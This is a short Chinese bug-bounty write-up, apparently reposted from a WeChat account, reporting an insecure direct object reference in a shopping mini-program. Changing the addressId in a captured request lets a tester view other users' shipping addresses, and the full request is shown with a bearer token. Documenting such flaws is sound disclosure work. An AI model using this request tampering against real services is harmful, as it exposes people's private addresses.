漏洞描述：越权查看他人收货地址导致的信息泄露
漏洞等级：高
漏洞类型：越权
漏洞危害：信息泄露
漏洞详情：
在商品进行下单时进行选择地址
点击编辑抓包
用BurpSuite进行抓包
修改addressID 成功越权查看
数据包如下
|
GET /community/sysShipping/getSysShippingByAddressId?addressId=1000 HTTP/1.1 Host: xxxx.xxxx.com.cn Version: 3.35.5 Sid: Signappid: gacnio-miniwx Apptimestamp: 1718963516 Sc: Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJtc2ciOiJzdWNjZXNzIiwibGljZW5zZSI6Im1hZGUgYnkgZ2FjLW5pbyIsImNvZGUiOjAsImRhdGEiOm51bGwsInVzZXJfbmFtZSI6IjEzNTk4MTU3NTMyMTcxODk2MzQzNzg1MSIsInNjb3BlIjpbInNlcnZlciJdLCJleHAiOjE3MTkwMTAyMzgsInVzZXJJZCI6MjI3MzYwNiwiYXV0aG9yaXRpZXMiOlsiUk9MRV9VU0VSIiwiYXBwX3NwX3JvbGUiXSwianRpIjoiNjI4NGJmN2ItYjI2YS00ZTE5LTk3ZGUtOGE2YjQ4ZDRkZmY1IiwiY2xpZW50X2lkIjoid2VpeGluLWNsaWVudCJ9.7AmtFIp68YB2LVxhZiZBIHADP29fpEoNoPCF_dujBEw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129 Content-Type: application/json Device-Id: Rs8CbbGdnFKVW88wLl/vK/CxF6lniFvFrC59Sfw5i3o= Xweb_xhr: 1 App-Source: 5 Platform-Type: 3 Paramsign: 62f154e44e1eedb3cf38bcfe48f2c430 Apprequestid: ayfn8zxt0tywfhw7ea2a5at26tkd3kn6et1t Accept: */* Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxxxxx.com/xxxxx/175/page-frame.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close |
原文始发于微信公众号（迪哥讲事）：Src实战
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论